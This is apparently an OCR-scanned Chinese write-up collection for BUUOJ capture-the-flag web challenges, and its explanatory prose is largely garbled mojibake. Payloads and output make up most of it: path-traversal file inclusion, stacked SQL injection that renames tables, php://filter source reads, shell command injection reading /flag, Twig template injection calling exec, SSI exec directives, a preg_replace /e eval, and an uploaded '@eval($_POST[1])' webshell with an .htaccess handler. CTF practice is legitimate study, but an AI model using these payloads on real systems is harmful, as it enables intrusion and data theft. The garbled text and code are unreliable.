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F12%& 3£ fEsource.php, Bk#: )5 E BIID
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<?php
highlight_file(__FILE_ );
class emmm

{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php"”,"hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)s
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?")
)
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
8& is_string($_REQUEST['file'])
&& emmm: :checkFile($_REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

?>

AUEEF A E, RARieSHERBERBEALEY, ENMREBECANNTREF VN TREREEASL R
T, BEAREHAT UMD EAR, HSLW DU EESE A EiiEpayloadfd 2lflag

Payload:
http://f5c2ee8f-ee5f-4469-bad8-86¢15a958352.node3.buuoj.cn/source.php?file=hint.php?/.../.../.../...[.. /fffflllaaaagggg



Lo B ] @ & Sc2eeff-eesf-4469-badB-B6c15a858352 node 3 buuoj.cn/source phpHile=hintp B8 = Y
B emusiks @ FFLE Damas 1o O sorssE A Apache Solrvelodit, [ I8

% page mh_substr(
$page,
0,
mb_strposi$page . "7, "7}

if lin_array(3_page, S$whitelist))
return  true;

3 _page urldecode ($page) :
3 page mb_substr(
§_page,
0,

mh_sirpos($ page . 7", ")

| H
it {in_array($_page, S$whitelist))
return  true;

echo J:\'t';.l |':'_|'|'I S |1‘:
return  false;

if (! empty(§_REQUEST(' file'
Bk is_string($_REQUEST[ |
&k emmm::checkFile(§ REQUESTI file')

include §_REQUEST[' file']:
exit;
else |
echo “<bri<img sre=\"https://i. loli. net/2018/11,/01/5bdb0d93dcT94. jpg\”~

2 flag{7b3986ce-38e6-480e-97c4-bTc163dabbed)

AREGEDL G, includes¥hint.php?/ fE B3, REAWETE HX, 2R HRE&fllaaaagggg
WE MBI G BB AgetiR NS, B 2 347 Z Runldmhs .

[5% A5 2019]F {6
(sqimapfX eIl FE 4, RBNT)
SefE R 1 or 1=1—+ RIAFELEEN

== & Q& 1208140c-8352-4410-be 31-d5 3a5af3%8bd node L buua ey Hingect=1"or 1=1--+ B8 +=+ 1 ]
B @ KRR Eenee 0 erew O e G Apsche Soir Velodit. [ TUIIE

EHFEXELRRSEE, Rii—0i&: FRNZSR—FT

B o]

array (2} |
[o]=>
stringll} 717
[11=

string(7) “hahahah®

array(2) |
[0)=>
stringll) 72"
11=>

string(12) “miaomiscmian”

array (2} |
[0]=>
stringl6) 1143147
[11=
string(2) “ys”

I EHREE, SR J5order byfE B N2, unionselect 1,2 j5iR Al
return preg_match("/selectjupdate|delete|drop|insertjwhere]|./i",$inject);

R T .
BRI



ESQLH, 445 () RARFR—FsqiBAMER. 8 —TRIE ; GR—sqiE A5 HLEWET —KEF, 2Aa—RHIUT? FHikx
AMEZEHELER T HSEN . Munion injection (BRATEN) K FHFKBAEHE—E, FEZHAHAXHA? RKHIHAEFunion 58
union alBATHIIERRERE R, oTCAHRPATERIEAR, THESFENTURITHREEMEA. WL FXAMIF. BA%A: 1
DELETE FROM productshk 45 #& 34 it sqlid @y (BRI SH#ITiEIE) Select * from products where productid=1;DELETE
FROM products 4 # T &#l/5, HF—%EREWEL, B KUEEANRIETHER.

1’;show tables;—+ /B H & 4

&)= @ © & 120814fc-8352-8410- be3f-d5JaSaf398bd node3. bungj cnyTinject= 1 ;show tables 88 »+ ff
B imEnidd @ FELR BwARy [Eeres ©FeE A Apache Sor Velodit.. [ MG
N FRARLHRSE, Rii—0i%: FRNZER—FT
& B3]
array (2 {
[o]=»
atringf{l) "17
()=
) string(7) “hahahah”
array (1) |

[0)=>
string{l6) 19198108311145147

array(1) {
[0]=>
atring(5) “words”

?inject=1";show columns from "1919810931114514";,—+

?inject=1";show columns from ‘words™;—+
(EERLZMEMLE )

MySQLH 51 5 1 8.5 5 K X 5l 5 i

MySql FH—Xt R 51 5 REnE SQL B HIRIR, WMBEES. RE. FRES
515 FRREE A SIS AR AR E RSN H A EE, By BRE

Blfn: select * from “username’ where “name’=“name”

array(6) |
[0l=>
string(4) “flag”
[1]1=>
string(12) “varchar(100)”
[2]1=>
string(2) "NO”
[31=>
string(0) "
[4]=>
NULL
[5]=>
string(0) "



array (6) {
[0]1=>
string(2) "id”
[1]=>
string(T) "int (100"
[2]=>
string(2) "NO7
[3]=>
string(0) ™7
[4]=>
NULL
[5]=>
string(0) ™7

array (6) {
[0]=>
string(d) "data”
[1]=>
string(11) “varchar(20)~
[2])=>
string(2) "NO7
[3)=>
string(0) 7
[4]=>
NULL
[8]=>
string(0) °°

A LLE Elflag?E1919810931114514
T—

FoREA I ™ E, EIF TR EER), U ERRAEASGERES, B2 1919810931114514504 Aywords, #
flageAid

[?inject=1";RENAME TABLE "words™ TO ‘'words1";RENAME TABLE "1919810931114514" TO "words™;ALTER TABLE ‘words’
CHANGE ‘flag id” VARCHAR(100);-+

(I HEFIETEBSRLM, LA S —i84): /?inject=1’ ;RENAME TABLE “words™ TO “wordsl' ;RENAME TABLE
©1919810931114514° TO “words™ ;ALTER TABLE “words™ CHANGE “flag"™ “id" VARCHAR(100) CHARACTER SET
utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;-+

)
MEEHA: 1° or 1=1 --+EJA&EH|flag

- 2 @ B & 120814fc-B352-4410-be3f-d53a5af 38Ebd noded buusj.ond/Tinject=1" or 151 -+ 8 = o}
B xmwmsd @ wELE Bemey o O sorsE 3 apache Solr velocit., 1 RIIE

BMAFRARLHRZE, Rii—0i§: FRNZ2R—F0

B L]

array (1) |
[0]=>
string(42) "flag(516b152-4ce9-433c-9b12-bocef2Tdadfl} ~

HBIEN: https://www.cnblogs.com/@nth3way/articles/7128189.html
P

Flhandleri&ffi#select, BN AR [GYCTF2020]Blacklist



http://ecaf9ef5-ff55-4a72-b878-6fe965d670f6.node3.buuoj.cn/?inject=1";handler "1919810931114514" open; handler °
1919810931114514° read first; --+

[SUCTF 2019]EasySQL

Give me your flag, | will tell you if the flag is right.
RzEn

=MERER:

Give me your flag, | will tell you if the flag is right.
1 RZES

Array ([0] => 1)

Give me your flag, | will tell you if the flag is right.
a EREE

Give me your flag, | will tell you if the flag is right.
flag R E

Nonono.

[ 41k 1B P 77 S I, YB3 T R 9 s BEATL AR, 32 SOKS IR 447 F SR B2 A% (img-N3d03bG8-1628491027055 ) (\Buuoj Rl it
F.assets\clip_image008.jpg)]

A HEBVEN: 1;show databases; show tables;

W 38 3 RS R T BB A): select $_POST[query] || flag from flag



P T
* 1

1;set sql_mode=PIPES_AS_CONCAT;select 1

fEHT:
o fforacle BRE X BT ¢ || ° REMFAFEIE.
o {HfEmysql BREARTHE. FEFAEmysql Ksql_mode
#: pipes_as_concat KELHoracle H—LEIhEE.

2% https://blog.csdn.net/qq_42158602/article/details/103930598

[NPUCTF2020]ezinclude

< C @ © #& 6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn

username/password error

O Oz Dewe DEte NmE (Iatmee QOue Onr B EE 7 oEERE 8B

Q &% HTML + S Vi
<html> TE O o
<head></head> }

username/password error
<!--md5($secret.$name)===$pass-->
</body>
</html>

YR B] &0 AMDS A 75 K YR R


https://xz.aliyun.com/t/2563

N O=sx Dage Otz NEg (ateEs Oue Onr B & r TESHE 558 LAEF & Max HackBar g e X

W Vit URL I Q @ FE HIML CSS JS XHR =ik B% ®4 ws gy [OgmEsr Fok: I
K& & o X RigE Bl &8 K HEk Cookie iBK MAR FERY  MHMRERER

GET ¥ 6fae3651-69... / browsin... html 423 Fi5 Sk f=A
GET  # 6fae3651-69... favicon.ico Favicon.. html  BERF 187k J Comnection: keep-alive A

?)  Content-Encoding: gzip

@  Content-Length: 84

@ Content-Type: text/html; charset=UTF-8
Date: Wed, 05 Aug 2020 15:19:30 GMT

Server: openresty
Set-Cookie: Hash=fa25e54758d5d5c1927781a6ede89f8a; expires=Wed, 16-Sep-2020 07:

19:30 GMT; Max-Age=3600000
@ Vary: Accept-Encoding

BRI NG E LR Ehash, HiEgetiRASHpath=Ffa25e54758d5d5c1927781a6ede89f8a, IRALJ5 E E 71404

< C ® © #& 6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/404.html BE e ¥% NGO o u ® &« P B & ¢

Page Not Found

Apache/2.4.18 (Ubuntu) Server at Port

8080
6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php
N Oz Dawe OEde NRg (IasteeEs O#e Owne B & T TEERE 38 NARs & Max HackBar 0] e X
W 7igiE URL Il Q © FHE HIML CSS JS XHR =k EHR ®F ws HEfh [IzmEs ks 3
K& Bk e pais RigE HE &4 PN Bl Sk Cookie &K R EF AN HHERER

GET 4 6fae3651-69... 404.html fifififlag.... ERONGY <= %> http://6fae3651-6912-4405-8f69-92344febe9lf.node3.buuoj.cn/flflflflag.php:4:12

(404] GET # 6fae3651-69... favicon.ico Favicon... html BEF 1.87 KB

R EERAE —
http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php:4:12
R HEAR B B T B
G @ # view-source:http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/fIflflfl: === %
<html>
<head>

<{script language="javascript” type="text/javascript”>
window. location. href="404. html”;

{/script>

<title>this_is_not_fl4g and Wi A_wants_girlfriend</title>

</head>

<>

<body>

include ($_GET[”file”]) </body>

</html>

view-source:http://6fae3651-6912-4405-8f69-92344febe91f.node3.buuoj.cn/flflflflag.php?
file=php://filter/read=convert.base64-encode/resource=f1flflflag.php LEUCH



<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404. html"
</script>
<title>this_is_not_f1l4g and_3at°é¢~&a2° wants_girlfriend</title>
</head>
<
<body>
<?php
= 'file'
if(preg_match('/data|input|zip/is"

die( 'nonono’
@include

echo 'include($_GET["file"])'
?>

</body>
</html>

ST 1s, data, input, BIMNEMSPATIRIAF LR THAE

&« cC @ © #& f86e6a77-36b2-45db-ac74-9ba92c007216.node3.buucj.cn/?file=php://fil: B2 oo ¥¢

PD9waHAKZWNobyAiQ2FulHIvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Mzc5Njg2MGYtOTc4MC00

e DEsx Ogas OEde Nre {(Iemes QOue e B e 7 cESNE 38 NAEs & MaxHa

ad URL <?php

echo "Can you find out the flag?";
/Mlag{3796860f-9780-4a5d-acc5-6ba1b18f22cf}




http://f86e6a77-36b2-45db-ac74-9ba92c0@07216.node3.buuoj.cn/?file=php://filter/read=convert.base64-
encode/resource=flag.php

EARR A

[ACTF2020 #7143 JUpload

FbpSeid B i iE, EAe—f)iE, KBphp iR H

HTTB/1.1 200 OK
! Server: openresty
} Date: Fri, 07 RAug 2020 0Oe:31:21 GMT
| Content-Type: text/html; charset=UTF-8
)y Content-Length: 8673
» Connection: close
' Vary: Accept-Encoding
| X-Powered-By: PHP/5.6.40

RERAANS.6, BEHKAphtmlSed BAEBRAE, M) EAE, EERFEERE R K flag

=l ﬁrlﬂ
5 var IC3 root SO19-01-23 00:10:45 & avon
= WWW
= [ hinl I3 run enlg-01-22 £1:56:17 21 0755
5 uplodd
[ ess I3 sbin 20190122 21:66:09 20 0755
0 3=
] backups I =rv SO15—01-22 15:00:00 & 0755
[T cache
= 1ib I3 =v= 0200505 12:23:44 0 DEEE
51 loeal
Lock T tmp 2020-05-07 06:31:31 & 1777
loz
g mail IC usr F018-01-22 15:00:00 19 07ER
opt
2;11 i var 2019-01-22 21:66:12 17 07ES
= tmp
3 bin flagz #020-08-07 06:18:69 43 0644
[T boot

[ACTF2020 14 3 ]Exec

A PATHE |
127.0.0.1 | 1s ../../..]
127.0.0.1 | cat ../../../flag

[BIDCTF2020]Easy MD5



e—) c o © #& 2cef2e26-08ad-44ad-938c-10498dad8ab0.node3 buuoj.cn/leveld & == % Yy n@D 0 u ® e BB E @

v

RRENA

> O === e Dmde NRg (datmEs Que Orr BB T TESHE 38 0BEs & MaxHacksar

W Vg uRL Il Q © F#A HIML CSS Js XHR =k Efg #k Ws Hft [IxmEs
K& Tk o= et RigE *E &8 PN Bl HEsk Cookie &K BRI EF  FEES
200 GET 4 2cef2e26-08... leveldo4.php?password=111 document html EEF 3.03 KB IATSEREHEISES
GET # 2cef2e26-08... favicon.ico Favicon... html BEF 1.87 KB L HTTP/1.1
] 3.03 KB (/) 3.03KB)

Referrer BiER no-referrer-when-downgrade

v WARZ (253 5773)

HTTP/1.1 200 OK

Server: openresty

Date: Sat, 12 Sep 2020 00:45:31 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Hint: select * from 'admin' where password=mdS($pass,true)
X-Powered-By: PHP/7.3.13

A 22K PUSH490KB /0= | WEP: 288 EF)  DOMContentloaded: 243 2#) | load: 255 S#)

M B Sk 7N select * from ‘admin’ where password=md5($pass,true)

md5¥EN

IMEARATER raw_output #i%EAN TRUE, 4 MD5 #RICHHEZKE L1615 B I F 4R — it il 4% =ik Bl

I ffifdyop B A]

HAT—H, EFER

$a
$b

$GET['a'];
$_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

A ST http://2cef2e26-08ad-44ad-938c-10498dad8ab@.node3.buuoj.cn/levels9l.php?a[ ]=1&b[ ]=2
TR

<?php

error_reporting(0);

include "flag.php";

highlight_file(_ FILE_ );

if($_POST[ 'paraml']!==$ POST[ 'param2']&&md5($_POST[ 'paraml’])===md5($_POST[ 'param2'])){
echo $flag;

postHH LT paraml[ ]=1&param2[ ]=2

[olo]
Ba

)

Feme

2 OER

~

s @


https://www.jianshu.com/p/12125291f50d

[BIDCTF2020]Mark loves cat
BRMEFE, FHdirmapia %) B3 http://02b87379-34da-48ba-8bf7-e98327689a95. node3.buuoj.cn/.git/config

HgitihdE, fEMgithackBEIRIS (githackfEMKRZpython2, THAMNEKEMA L, FESKEILLO

githackfE I Rpy2, HEFILE2MIM L=

flag.php

<?php
$flag = file_get_contents('/flag');

index.php

<?php
include 'flag.php';

$yd5 — "dOg";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $%y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);

}

}

if(!isset($ GET['flag']) && !isset($ POST['flag'])){
exit($yds);

}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);

}

echo "the flag is: ".$flag;

BB BEE http://2778652f-ca93-4bd4-a661-53f90a%abd3d.node3.buuoj.cn/?yds=flag
H A Mforeachyqsit it Aflag, REAN K BpostHigetd HiflagSHl, MEHKB L IFREI$yds, il —RMEK Flag

[BIDCTF2020]The mystery of ip


https://www.cnblogs.com/shabbylee/p/6792555.html

BJDCTFE, _-Flag " “Hint @Shana

Your IP is :
A OIOSES

#Fhint

BJDCTE Flag . @Shana

Welcome to BJDCTF 2020.Happy Game!

(-V:))w

e N

Q #8%= HTML

N Oz Daws DEEs NREg () atmEs Q

e O B &% T TESRE 38 WARS & Max HackBar
+ A Vi

0] e

thov ds + @ Bl % HHE BEX FE HE

: :before x =
» A v S
b <div class="container-fluid"> (= </div> foyez s
iatten Loz S UEE—EIE (Flex) BESELIMELIAEE,
</nav> — ”
o { PRk
v <div class="container-fluid"> ) @ v WtE
: :before s s
" — n = bootstrap.css:4974 @screen and (min-width: 768px) ITAEEGEERH CSS [t
= e .container .jumbotron, .container-fluid .jumbotron ﬂ
<h3>Welcome to BIDCTF 2020@.Happy Game!</h3> ¢ - afam
<!--Do you know why i know your ip?--> padding-right: 6epx;
<div class="shaky" style="font-size:20px;">(,-V-)/ ¥</div> padding-left: 6@px;
</div> } margin ©
::after .container .jumbotron, .container- jumbotron.less:32
</div> fluid .jumbotron £} {

5 v

b <footer id="footer" role="contentinfo"> (- </footer>

FEipH R, W EBRLphpskBipMAES, KE/NR, REEIRE T xxFfHIXFFEHClient-IPIXFNheaderfE Nip, XFHA
#uT L@ d headerthid



BJDCTE . Flag

Hint @Shana

[w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar E o TS
LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ LFl ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~
) Enable POST ADD HEADER
Name Value
X-Forwarded-For v 123 X
RIPssti
BJDCTE Flag Hint @Shana

L

Elements

x dl

LOAD

SPLIT

J® Enable POST

F1Eflag

Console

Sources Network Performance Memory Application Security Lighthouse HackBar o]
EXECUTE TEST ~ sQLl -~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~
ADD HEADER

Name Value
X-Forwarded-For ~ {{5*5}} X




N
lag{3b7e9144-
8e65-40e2-9211-
473b5846896}
flag{3b7e9144-
8e65-40e2-9211-
f473b5846896}

v ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse HackBar
LOAD SPLIT EXECUTE TEST ~ sQLl -~ Xss -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~ THEME ~
) Enable POST ADD HEADER
Name Value
X-Forwarded-For ~ {{system('cat /flag")}} %

[BIDCTF2020]Cookie is so stable

Tell me, Who are
you?

ID

Username

Submit

hitps://blog.csdn.net/meteox,

hint

Why not take a closer look at cookies?



KRIPssti

a{*comment*}b

${ilzl!-j0in(llabll}]

Not vulnerable Unknown

R

1 GET /flag.php HTTP/1.1 A 50 <div class="navbar-collapse collapse nav2" aria-expanded="false" style="height
2 Host: 667128df-145f-468b-9cff-2fe54dce0dla.node3.buuoj.cn P 51 <ul class="nav navbar-nav ul-headl">
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) 52 ">
Gecko/20100101 Firefox/80.0
4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.%, image/webp, */*;q=0 53
.8
5 Accept-Language:
zh-CN, zh;q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US;g=0.3, en; q=0.2 54
6 Accept-Encoding: gzip, deflate 55
7 Referer: 56 <ul class="nav navbar-nav navbar-right ul-head2">
http://667128df-145f-468b-0cff-2fe54dce0d0a.node3.bunoj.cn/flag.php 57 <li clas ">
8 Connection: close <a href="index.php">@Shana</a>
9 Cookie: PHPSESSID=f23b689c321c8090£69d092d9f60e341; user={{7*7}} I </li>
10 Upgrade-Insecure-Requests: 1 58 </ul>
11 r 59 </div>
12 “ 60 </div>
61 </nav>
<div class="container panell">
62 <div class="row">
63 <div class="col-md-4">
64 </div>
65 <div class="col-md-4">
66 <div class="jumbotron pan">
<div class="form-group log">
67 <label>
<h2>
Hello 49

LA A twighiti
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

H1Eflag


https://zhuanlan.zhihu.com/p/28823933

Hello flag{465e8fce-9dce-4646-9f24-0bd7d48etf7b7}

[BIDCTF2020]EasySearch
i index. php. swp3KBURD

<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 ! @#$% &* ()+-";
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].%$chars[mt_rand(0,73)].%chars[mt_ra
nd(0,73)];//Random 5 times
$content = unigid().$random;
return shal($content);
}
header ("Content-Type: text/html;charset=utf-8");
* % %
if(isset($_POST[ 'username']) and $_POST[ 'username'] != '" )
{
$admin = '6d@bcl’;
if ( $admin == substr(md5($_POST[ 'password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");

$text = '
k% %k

k %k
<h1>Hello, '.$ POST['username'].'</hl>
% %k
kkk ' oo
3
fwrite($shtml, $text);
fclose($shtml);

* %k %k

echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

telse

{

* %k ok

}

* %k %k

?>

L35 2 B md 5 N G AT SIS T 6debel



import hashlib

i=0e

while True:
md5 = hashlib.md5(str(i).encode()).hexdigest()
md5=md5[0:6 ]
if md5=="6dobcl":
print(i)
break

i=i+1

1 H %15 2020666

a3k

[+] Welcome to manage system

TEFE(EHISRE 73f94a6b-e80f-40f3-a9de-92bd2f4a529c.node3.buuoj.cn FI%IE. .

>N == e DEtE N (daees Oue Owns B & W FRERE 58 UBEF & Max HackBar 4] e X
W Vs URL Il Q © FE HIML CSS JS XHR =k EHR #k ws gt [(IZmEr Fors 3¢
W& mE E8 p-di REE X ER & B OEEk  Cookie ¥R MR FERT  MHRIRER

POST  # 73f94a6b-e! html 839 5 . INQUEEEISES E# ER

~

(404] GET # 73f94a6b-e8... favicon.ico Favicon... html EEF 1.87 KB Content-Length: 568

Content-Type: text/html;charset=utf-8
Date: Wed, 16 Sep 2020 10:13:06 GMT
Server: openresty
Url_is_here: public/f8ed3eff860f60090cd56a769977f4589a28e5f8.shtml
Vary: Accept-Encoding \
X-Powered-By: PHP/7.1.27 -

v ik (718 F19) JR8E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*,q=0.8
Accept-Encoding: gzip, deflate



&« C ® © & 73f94a6b-e80f-40f3-a9de-92bd2f4a529c.node3.buuoj.cn/public/27770 B2 <= Y¢

Hello,ertyhwrty

data: Wednesday, 16-Sep-2020 10:12:38 UTC

Client IP: 174.0.0.15

ssivEA

B P 24BN <! --#exec cmd="1s ../"-->

Hello,flag 990c66bf85a09¢664f0b6741840499b2 index.php index.php.swp public

data: Wednesday, 16-Sep-2020 10:16:30 UTC

Client IP: 174.0.0.15

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

Hello,flag{7a13e211-88ef-4e6e-8753-0ceS5a7c7celf}

data: Wednesday, 16-Sep-2020 10:19:21 UTC

Client IP: 174.0.0.15

[BIDCTF2020]ZICTF, Atk

S


https://blog.csdn.net/qq_40657585/article/details/84260844

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text, 'r')==="I have a dream")){
echo "<br><hl>".file_get_contents($text, 'r')."</h1l></br>";
if(preg_match("/flag/",$file)){
die("Not now!");

include($file); //next.php

}

else{
highlight_file(__FILE_ );

?>

fFFHdatathidl, filterthhil

http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/?text=data://, I%20have%20a%20dream&file=php://filter/
read=convert.base64-encode/resource=next.php

//next.php

<?php

$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
/(' . $re . ')/ei',
"strtolower("\\1")"',
$str

)5

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";

function getFlag(){
@eval($ GET['cmd']);
)

preg_replacefRi%H4T

http://fcae7fc4-068a-42a8-850b-85af44432865.node3.buuoj.cn/next.php?\S*=${eval($_POST[1])}

R EFHEIflag


https://xz.aliyun.com/t/2557#toc-0

m |:|Eﬁ EI fraeTfod683a47a ¥ foaeTfed 0682422 X | +

gh [ fflag
flaz{c9864cea—2T0a—deab—ho4 7625 £3 42 £ FEGa)

[BIDCTF2020]EzPHP

R

#7F

o - OX

EHAM zozo-0s-17 )L BA—
= & shes|
i1 Bhih2ES)

I:I Typel




<?php
highlight_file(_ FILE_ );
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET[ 'passwd'];

$arg = '';

$code = g

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good
Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$]|
sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|read|inc|info|bin|hex|oct]|ech
o|print|pi|\.|\"|\"'|log/i', $_ SERVER['QUERY_STRING'])
)

die('You seem to want to do something bad?');

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/~aqua_is_cute$/', $ GET['debu']) & & $ GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";

}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i", $value))
die('fxck you! I hate English!');

}
}
if (file_get_contents($file) !== 'debu_debu_aqua')

die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( shail($shana) === shal($passwd) && $shana != $passwd ){

extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know shal! why you come here!");

if(preg match('/~[a-z0-9]*$/isD', $code) ||
preg _match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\" |\{|\%|x|\&]|\$|\*|\]]\
<I\"[\"[\=]\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|print|echo|read
|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input]|\.|log|\*/i', $arg) ) {

die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {

include "flag.php";

$code('', %arg);
} >

By



if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$]|
sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arralhead|light|read|inc|info|bin|hex|oct]|ech
o|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)

die('You seem to want to do something bad?');

SR TIREZ kT, EEFZET $ SERVER 3XHL, $_SERVER['QUERY_STRING'] , ALXfHAurlffid, {HGETS, AN FH/&F
urlgifgseit, hackbarfurlfwid R &SGR ZRAMIG, WEIXAMGE, LA E Z B8R 44 55:

R4y

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/~aqua_is_cute$/', $ GET['debu']) & & $ GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";

}
} else die('fxck you! What do you want to do ?!');

ff H#AT R %0a%8id, aqua_is_cute%0a
E=o:

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i", $value))
die('fxck you! I hate English!"');

$_REQUEST RAI3REXGETHIPOST H RIS, WE MM RARNER—NS, MESBEMREH, BRIANPOSTHM ALK TGET, Frlh
AJ LA[AI i} pos t[A] 4 2 B geid b FR 1 .

POST: debu=1&file=1

SRS

if (file_get contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

fffdatatill file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61

BRI

if ( shal($shana) === shal($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know shal! why you come here!");

shal GikAb B4, AEEREIfalse, BTl A ST
shana[ ]=1&passwd[ ]=2

A JLEB 4 S payload:


http://web.chacuo.net/charseturlencode

payload:http://28aafedc-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/InD3x.php?%64%65%62%75=%61%71%75%61%51%69%73%
5f%63%75%74%65%0a&f1le=data: //text/plain, 564%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e€%618&%73%68%61%6e
%61[ |=18%70%61%73%73%77%64[ ]=2

POST: debu=1&file=1

i (i g

payload: http://28aafedc-af7a-4299-b2eb-df7c903c83ee.node3.buuoj.cn/1nD3x.php?
%64%65%62%75=%61%71%75%61%5F%69%73%5F%63%75%74%65%0a&file=data: //text/plain, %64%65%62%75%5F%64%65%62%75%5F%61%71
%75%618%73%68%61%6€%618&%73%68%61%6€%61[ 1=18&%70%61%73%73%77%64[ ]1=2

[MRCTF2020]Ez_bypass

I put something in F12 for you
include 'flag.php';
$Flag="MRCTF{XXXXXXXXXXXXXXXXXXXXXXXXX}" ;
if(isset($ _GET['gg'])&8&isset($ GET['id"'])) {
$id=$_GET['id'];
$gg=$% GET['gg'];
if (md5($id) === md5($gg) & $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST[ 'passwd’];
if (!'is_numeric($passwd))

{
if($passwd==1234567)
{
echo 'Good Job!"';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
elseq{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}

}Please input first

F—HAfASeesd, B AphpfetiSeidvar_dump(123==123a’); bool(true)

payload


http://web.chacuo.net/charseturlencode

http://af591e00-6e3b-4808-beba-d688fba5fb3d.node3. buuoj.cn/?id[ [=1&gg[ ]=2

POST : passwd=1234567a

[MRCTF2020 ] /R 4% /R ENE

WS RIS,
—iREt

T4£1.9pg <2php @eval($_POST[1]);?>

T AN AZNngink, A& .user.ini, JEHIRIRZapache, ¥ EfE2.jpg <FilesMatch "1.jpg"> SetHandler application/x-
httpd-php </FilesMatch> burp®A .hatcess , IIEE|shell, 3J)HEHE:, EMREHFKIflag

m |:|§ﬁ E|3dacf633—. X Gdacfida— X[ 1. php, 3da X - Gdacfaia— 2 i M 3dacfiia— 2 cEISdacfﬁSa—. E [E 111.185. 2. > 111.198. 2. » O - X
i fflag | {27E EHIM z0z0-09-17 JLBHI—
£laz{aBelalas—1616-494f-ae80-351 c2e2b3E7h} B @] 28]
i EAZER
